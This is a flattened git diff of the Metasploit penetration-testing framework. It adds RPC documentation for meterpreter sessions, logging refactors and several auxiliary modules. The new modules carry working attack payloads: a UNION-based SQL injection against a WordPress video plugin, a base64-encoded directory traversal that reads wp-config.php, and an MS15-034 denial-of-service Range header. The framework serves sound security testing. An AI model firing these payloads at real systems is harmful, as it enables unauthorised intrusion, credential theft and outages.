# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_read', 2)
def rpc_ring_read( sid, ptr=nil) def rpc_ring_read( sid, ptr=nil)
s = _valid_session(sid,"ring") s = _valid_session(sid,"ring")
begin begin
@ -98,6 +196,19 @@ class RPC_Session < RPC_Base
end end
end end
# Sends an input to a session (such as a command).
#
# @param [Fixnum] sid Session ID.
# @param [String] data Data to write.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'write_count' [String] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_put', 2, "DATA")
def rpc_ring_put( sid, data) def rpc_ring_put( sid, data)
s = _valid_session(sid,"ring") s = _valid_session(sid,"ring")
begin begin
@ -108,11 +219,32 @@ class RPC_Session < RPC_Base
end end
end end
# Returns the last sequence (last issued ReadPointer) for a shell session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_last', 2)
def rpc_ring_last( sid) def rpc_ring_last( sid)
s = _valid_session(sid,"ring") s = _valid_session(sid,"ring")
{ "seq" => s.ring.last_sequence.to_s } { "seq" => s.ring.last_sequence.to_s }
end end
# Clears a shell session. This may be useful to reclaim memory for idle background sessions.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_clear', 2)
def rpc_ring_clear( sid) def rpc_ring_clear( sid)
s = _valid_session(sid,"ring") s = _valid_session(sid,"ring")
res = s.ring.clear_data res = s.ring.clear_data
@ -123,9 +255,23 @@ class RPC_Session < RPC_Base
end end
end end
# Sends an input to a meterpreter prompt.
# You may want to use #rpc_meterpreter_read to retrieve the output.
# #
# Run a single meterpreter console command # @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# # a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @param [String] data Input to the meterpreter prompt.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @see #rpc_meterpreter_run_single
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_write', 2, "sysinfo")
def rpc_meterpreter_write( sid, data) def rpc_meterpreter_write( sid, data)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
@ -145,6 +291,17 @@ class RPC_Session < RPC_Base
{ "result" => "success" } { "result" => "success" }
end end
# Detaches from a meterpreter session. Serves the same purpose as [CTRL]+[Z].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_detach', 3)
def rpc_meterpreter_session_detach(sid) def rpc_meterpreter_session_detach(sid)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch| s.channels.each_value do |ch|
@ -156,6 +313,18 @@ class RPC_Session < RPC_Base
{ "result" => "failure" } { "result" => "failure" }
end end
# Kills a meterpreter session. Serves the same purpose as [CTRL]+[C].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_kill', 3)
def rpc_meterpreter_session_kill(sid) def rpc_meterpreter_session_kill(sid)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch| s.channels.each_value do |ch|
@ -167,12 +336,38 @@ class RPC_Session < RPC_Base
{ "result" => "failure" } { "result" => "failure" }
end end
# Returns a tab-completed version of your meterpreter prompt input.
#
# @param [Fixnum] sid Session ID.
# @param [String] line Input.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] The tab-completed result. It contains the following key:
# * 'tabs' [String] The tab-completed version of your input.
# @example Here's how you would use this from the client:
# # This returns:
# # {"tabs"=>["sysinfo"]}
# rpc.call('session.meterpreter_tabs', 3, 'sysin')
def rpc_meterpreter_tabs(sid, line) def rpc_meterpreter_tabs(sid, line)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
{ "tabs" => s.console.tab_complete(line) } { "tabs" => s.console.tab_complete(line) }
end end
# runs a meterpreter command even if interacting with a shell or other channel
# Runs a meterpreter command even if interacting with a shell or other channel.
# You will want to use the #rpc_meterpreter_read to retrieve the output.
#
# @param [Fixnum] sid Session ID.
# @param [String] data Command.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_run_single', 3, 'getpid')
def rpc_meterpreter_run_single( sid, data) def rpc_meterpreter_run_single( sid, data)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
@ -184,16 +379,49 @@ class RPC_Session < RPC_Base
{ "result" => "success" } { "result" => "success" }
end end
# Runs a meterpreter script.
#
# @deprecated Metasploit no longer maintains or accepts meterpreter scripts. Please try to use
# post modules instead.
# @see Msf::RPC::RPC_Module#rpc_execute You should use Msf::RPC::RPC_Module#rpc_execute instead.
# @param [Fixnum] sid Session ID.
# @param [String] data Meterpreter script name.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_script', 3, 'checkvm')
def rpc_meterpreter_script( sid, data) def rpc_meterpreter_script( sid, data)
rpc_meterpreter_run_single( sid, "run #{data}") rpc_meterpreter_run_single( sid, "run #{data}")
end end
# Returns the separator used by the meterpreter.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash that contains the separator. It contains the following key:
# * 'separator' [String] The separator used by the meterpreter.
# @example Here's how you would use this from the client:
# # This returns:
# # {"separator"=>"\\"}
# rpc.call('session.meterpreter_directory_separator', 3)
def rpc_meterpreter_directory_separator(sid) def rpc_meterpreter_directory_separator(sid)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
{ "separator" => s.fs.file.separator } { "separator" => s.fs.file.separator }
end end
# Returns all the compatible post modules for this session.
#
# @param [Fixnum] sid Session ID.
# @return [Hash] Post modules. It contains the following key:
# * 'modules' [Array<string>] An array of post module names. Example: ['post/windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('session.compatible_modules', 3)
def rpc_compatible_modules( sid) def rpc_compatible_modules( sid)
ret = [] ret = []

View File

@ -32,10 +32,10 @@ module Msf::HTTP::Typo3::Login
end end
n = n_match[1] n = n_match[1]
vprint_debug("e: #{e}") vprint_status("e: #{e}")
vprint_debug("n: #{n}") vprint_status("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass) rsa_enc = typo3_helper_login_rsa(e, n, pass)
vprint_debug("RSA Hash: #{rsa_enc}") vprint_status("RSA Hash: #{rsa_enc}")
# make login request # make login request
vars_post = { vars_post = {
'n' => '', 'n' => '',
@ -58,10 +58,10 @@ module Msf::HTTP::Typo3::Login
}) })
if res_login if res_login
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
vprint_debug(strip_tags($1)) vprint_status(strip_tags($1))
return nil return nil
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
vprint_debug(strip_tags($1)) vprint_status(strip_tags($1))
return nil return nil
else else
cookies = res_login.get_cookies cookies = res_login.get_cookies

View File

@ -2070,29 +2070,6 @@ class Core
return true return true
end end
# If the value starts with file: exists, and size isn't too big load the file as the value
# Otherwise keep the old value
if value =~ /^file:(.*)/
fname = $1
begin
fd = ::File.new(fname, 'rb')
rescue ::Errno::ENOENT
print_error('The file name specified does not exist')
value = datastore[name]
fd = nil
end
if fd && fd.stat.size > (1024 * 1024)
print_error('The file name specified is too big (over 1Mb)')
value = datastore[name]
fd.close
elsif fd
value = fd.read(fd.stat.size)
fd.close
end
end
if append if append
datastore[name] = datastore[name] + value datastore[name] = datastore[name] + value
else else
@ -2346,7 +2323,7 @@ class Core
# Walk the plugins array # Walk the plugins array
framework.plugins.each { |plugin| framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for # Unload the plugin if it matches the name we're searching for
if (plugin.name == args[0]) if (plugin.name.downcase == args[0].downcase)
print("Unloading plugin #{args[0]}...") print("Unloading plugin #{args[0]}...")
framework.plugins.unload(plugin) framework.plugins.unload(plugin)
print_line("unloaded.") print_line("unloaded.")

View File

@ -132,7 +132,7 @@ module ModuleCommandDispatcher
hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg)) hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg))
# Check multiple hosts # Check multiple hosts
last_rhost_opt = mod.rhost last_rhost_opt = mod.datastore['RHOST']
last_rhosts_opt = mod.datastore['RHOSTS'] last_rhosts_opt = mod.datastore['RHOSTS']
mod.datastore['RHOSTS'] = ip_range_arg mod.datastore['RHOSTS'] = ip_range_arg
begin begin
@ -169,7 +169,7 @@ module ModuleCommandDispatcher
instance = mod instance = mod
end end
rhost = instance.rhost rhost = instance.datastore['RHOST']
rport = nil rport = nil
peer = rhost peer = rhost
if instance.datastore['rport'] if instance.datastore['rport']

View File

@ -87,10 +87,6 @@ class BidirectionalPipe < Rex::Ui::Text::Input
print_line('[+] ' + msg) print_line('[+] ' + msg)
end end
def print_debug(msg='')
print_line('[!] ' + msg)
end
def flush def flush
end end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'uri' require 'uri'
require 'rex/proto/http' require 'rex/proto/http'
require 'nokogiri'
module Rex module Rex
module Proto module Proto
@ -82,6 +83,34 @@ class Response < Packet
return cookies.strip return cookies.strip
end end
# Returns a collection of found hidden inputs
#
# @return [Array<Hash>] An array, each element represents a form that contains a hash of found hidden inputs
# * 'name' [String] The hidden input's original name. The value is the hidden input's original value.
# @example
# res = send_request_cgi('uri'=>'/')
# inputs = res.get_hidden_inputs
# session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input
def get_hidden_inputs
forms = []
noko = Nokogiri::HTML(self.body)
noko.search("form").each_entry do |form|
found_inputs = {}
form.search("input").each_entry do |input|
input_type = input.attributes['type'] ? input.attributes['type'].value : ''
next if input_type !~ /hidden/i
input_name = input.attributes['name'] ? input.attributes['name'].value : ''
input_value = input.attributes['value'] ? input.attributes['value'].value : ''
found_inputs[input_name] = input_value unless input_name.empty?
end
forms << found_inputs unless found_inputs.empty?
end
forms
end
# #
# Updates the various parts of the HTTP response command string. # Updates the various parts of the HTTP response command string.
# #

View File

@ -30,9 +30,6 @@ class Output
def print_good(msg='') def print_good(msg='')
end end
def print_debug(msg='')
end
# #
# Prints a status line. # Prints a status line.
# #

View File

@ -56,16 +56,6 @@ module Subscriber
end end
end end
#
# Wraps user_output.print_debug
#
def print_debug(msg='')
if (user_output)
print_blank_line if user_output.prompting?
user_output.print_debug(msg)
end
end
# #
# Wraps user_output.print_warning # Wraps user_output.print_warning
# #

View File

@ -55,10 +55,6 @@ class Output < Rex::Ui::Output
print_line("%bld%grn[+]%clr #{msg}") print_line("%bld%grn[+]%clr #{msg}")
end end
def print_debug(msg = '')
print_line("%bld%cya[!]%clr #{msg}")
end
def print_status(msg = '') def print_status(msg = '')
print_line("%bld%blu[*]%clr #{msg}") print_line("%bld%blu[*]%clr #{msg}")
end end

View File

@ -31,6 +31,7 @@ class Output::File < Rex::Ui::Text::Output
self.fd.flush self.fd.flush
msg msg
end end
alias_method :write, :print_raw
def close def close
self.fd.close if self.fd self.fd.close if self.fd

View File

@ -37,7 +37,9 @@ class Metasploit3 < Msf::Auxiliary
['CVE', '2015-1635'], ['CVE', '2015-1635'],
['MSB', 'MS15-034'], ['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'], ['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'] ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
)) ))
@ -50,6 +52,10 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST') deregister_options('RHOST')
end end
def upper_range
0xFFFFFFFFFFFFFFFF
end
def run_host(ip) def run_host(ip)
if check_host(ip) == Exploit::CheckCode::Vulnerable if check_host(ip) == Exploit::CheckCode::Vulnerable
dos_host(ip) dos_host(ip)
@ -58,7 +64,34 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.body.length
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
return file_size
}.call
end
def dos_host(ip) def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
# In here we have to use Rex because if we dos it, it causes our module to hang too # In here we have to use Rex because if we dos it, it causes our module to hang too
uri = normalize_uri(target_uri.path) uri = normalize_uri(target_uri.path)
begin begin
@ -68,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
'uri' => uri, 'uri' => uri,
'method' => 'GET', 'method' => 'GET',
'headers' => { 'headers' => {
'Range' => 'bytes=18-18446744073709551615' 'Range' => "bytes=#{lower_range}-#{upper_range}"
} }
}) })
cli.send_request(req) cli.send_request(req)
@ -78,26 +111,16 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{ip}:#{rport} - DOS request sent") print_status("#{ip}:#{rport} - DOS request sent")
end end
def check_host(ip) def check_host(ip)
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
uri = normalize_uri(target_uri.path) uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
return Exploit::CheckCode::Unknown
end
res = send_request_raw({ res = send_request_raw({
'uri' => uri, 'uri' => uri,
'method' => 'GET', 'method' => 'GET',
'headers' => { 'headers' => {
'Range' => 'bytes=0-18446744073709551615' 'Range' => "bytes=0-#{upper_range}"
} }
}) })
if res && res.body.include?('Requested Range Not Satisfiable') if res && res.body.include?('Requested Range Not Satisfiable')

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
} }
space_to_fill = size_bytes - empty_xml.size space_to_fill = size_bytes - empty_xml.size
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes") vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6) payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length entity_value_length = space_to_fill - payload.length

View File

@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary
# Verify if session cookie is valid and return user's ID # Verify if session cookie is valid and return user's ID
# #
def get_user_id def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({ res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie 'cookie' => @cookie
@ -121,7 +120,6 @@ class Metasploit3 < Msf::Auxiliary
# Construct cookie using token # Construct cookie using token
# #
def create_cookie(token) def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({ res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" 'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"

View File

@ -330,7 +330,7 @@ class Metasploit3 < Msf::Auxiliary
i, a = 0, [] i, a = 0, []
# Most common SRV Records # Most common SRV Records
srvrcd = [ srvrcd = [
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.", "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.", "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.", "_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",

View File

@ -31,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptBool.new('DEBUG', [ false, 'Enable requests debugging output', false ]),
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]), OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]), OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
@ -193,10 +192,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def check_host(target_host,target_port,site,user_agent) def check_host(target_host,target_port,site,user_agent)
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
if datastore['DEBUG']
print_status("Checking #{target_host}:#{target_port} [#{site}]")
end
is_valid,retcode,retvia,retsrv = send_request(site,user_agent) is_valid,retcode,retvia,retsrv = send_request(site,user_agent)

View File

@ -56,7 +56,6 @@ class Metasploit3 < Msf::Auxiliary
if not res.body.include?("llow:") if not res.body.include?("llow:")
vprint_status("[#{target_host}] #{tpath}robots.txt - Doesn't contain \"llow:\"") vprint_status("[#{target_host}] #{tpath}robots.txt - Doesn't contain \"llow:\"")
print_status(res.body.inspect) if datastore['DEBUG']
return return
end end

View File

@ -52,14 +52,13 @@ class Metasploit3 < Msf::Auxiliary
# Fingerprint a single host # Fingerprint a single host
def run_host(ip) def run_host(ip)
begin begin
connect
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
fp = http_fingerprint(:response => res) fp = http_fingerprint(:response => res)
if fp if fp
vprint_status("#{peer} connected and fingerprinted: #{fp}") vprint_status("#{peer} connected and fingerprinted: #{fp}")
# TODO: Interrogate the connection itself to see what version # TODO: Interrogate the connection itself to see what version
# was used. Where that actually lives is eluding me. :/ # was used. Where that actually lives is eluding me. :/
if datastore['SSLVersion'] == 'SSL3' if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
print_good("#{peer} accepts SSLv3") print_good("#{peer} accepts SSLv3")
report_poodle_vuln(ip) report_poodle_vuln(ip)
end end
@ -67,9 +66,6 @@ class Metasploit3 < Msf::Auxiliary
rescue ::OpenSSL::SSL::SSLError => e rescue ::OpenSSL::SSL::SSLError => e
ssl_version = e.message.match(/ state=([^\s]+)/)[1] ssl_version = e.message.match(/ state=([^\s]+)/)[1]
vprint_status("#{peer} does not accept #{ssl_version}") vprint_status("#{peer} does not accept #{ssl_version}")
rescue ::Timeout::Error, ::Errno::EPIPE
ensure
disconnect
end end
end end

View File

@ -0,0 +1,69 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner',
'Description' => %q{
This module attempts to exploit a UNION-based SQL injection in Contus Video
Gallery for Wordpress version 2.7 and likely prior in order if the instance is
vulnerable.
},
'Author' =>
[
'Claudio Viviani', #discovery
'bperry' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-2065'],
[ 'WPVDB', '7793' ]
],
'DisclosureDate' => 'Feb 24 2015'))
end
def run_host(ip)
right_marker = Rex::Text.rand_text_alpha(5)
left_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
vprint_status("#{peer} - Checking host")
res = send_request_cgi({
'uri' => wordpress_url_admin_ajax,
'vars_get' => {
'action' => 'rss',
'type' => 'video',
'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
}
})
unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
if result
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
:refs => self.references.select { |ref| ref.ctx_val == "2015-2065" }
})
end
end
end

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress GI-Media Library Plugin Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
GI-Media Library version 2.2.2, allowing to read arbitrary files from the
system with the web server privileges. This module has been tested successfully
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
},
'References' =>
[
['WPVDB', '7754'],
['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']
],
'Author' =>
[
'Unknown', # Vulnerability discovery - QuantiKa14?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])
], self.class)
end
def check
check_plugin_version_from_readme('gi-media-library', '3.0')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),
'vars_get' =>
{
'fileid' => Rex::Text.encode_base64(traversal + filename)
}
)
if res && res.code == 200 && res.body && res.body.length > 0
fname = datastore['FILEPATH']
path = store_loot(
'gimedia-library.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.")
end
end
end

View File

@ -93,11 +93,11 @@ class Metasploit3 < Msf::Auxiliary
end end
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports")
end end
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response")
end end
report_service( report_service(

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
val_actual = resp[idx,4].unpack("V")[0] val_actual = resp[idx,4].unpack("V")[0]
idx += 4 idx += 4
value = resp[idx,val_actual*2] value = resp[idx,val_actual*2]
#print_debug "resp[0x#{idx.to_s(16)},#{val_actual*2}] : " + value
idx += val_actual * 2 idx += val_actual * 2
idx += val_actual % 2 * 2 # alignment idx += val_actual % 2 * 2 # alignment
@ -54,15 +53,12 @@ class Metasploit3 < Msf::Auxiliary
def parse_net_wksta_enum_users_info(resp) def parse_net_wksta_enum_users_info(resp)
accounts = [ Hash.new() ] accounts = [ Hash.new() ]
#print_debug resp[0,20].unpack("H*")
idx = 20 idx = 20
count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count
idx += 4 idx += 4
#print_debug "Max Count : " + count.to_s
1.upto(count) do 1.upto(count) do
# wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID
# print_debug "Ref ID#{account.to_s}: " + resp[idx,4].unpack("H*").to_s
idx += 4 # ref id name idx += 4 # ref id name
idx += 4 # ref id logon domain idx += 4 # ref id logon domain
idx += 4 # ref id other domains idx += 4 # ref id other domains

View File

@ -173,7 +173,7 @@ class Metasploit3 < Msf::Auxiliary
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error) while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
if attempt_num > 0 if attempt_num > 0
Rex.sleep(2 ** attempt_num) Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
end end
ret = check_user(ip, user, rport) ret = check_user(ip, user, rport)

View File

@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error) while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
if attempt_num > 0 if attempt_num > 0
Rex.sleep(2 ** attempt_num) Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
end end
ret = check_user(ip, user, rport) ret = check_user(ip, user, rport)
@ -161,12 +161,12 @@ class Metasploit3 < Msf::Auxiliary
def show_result(attempt_result, user, ip) def show_result(attempt_result, user, ip)
case attempt_result case attempt_result
when :success when :success
print_good "#{peer(ip)} User '#{user}' found" print_good("#{peer(ip)} User '#{user}' found")
do_report(ip, user, rport) do_report(ip, user, rport)
when :connection_error when :connection_error
print_error "#{peer(ip)} User '#{user}' on could not connect" print_error("#{peer(ip)} User '#{user}' on could not connect")
when :fail when :fail
print_debug "#{peer(ip)} User '#{user}' not found" print_error("#{peer(ip)} User '#{user}' not found")
end end
end end

View File

@ -693,12 +693,12 @@ class Metasploit3 < Msf::Auxiliary
ssl_type = ssl_unpacked[0] ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1] ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2] ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:") vprint_status("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}") vprint_status("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}") vprint_status("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}") vprint_status("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})") vprint_status("\tWrong Record Type! (#{ssl_type})")
else else
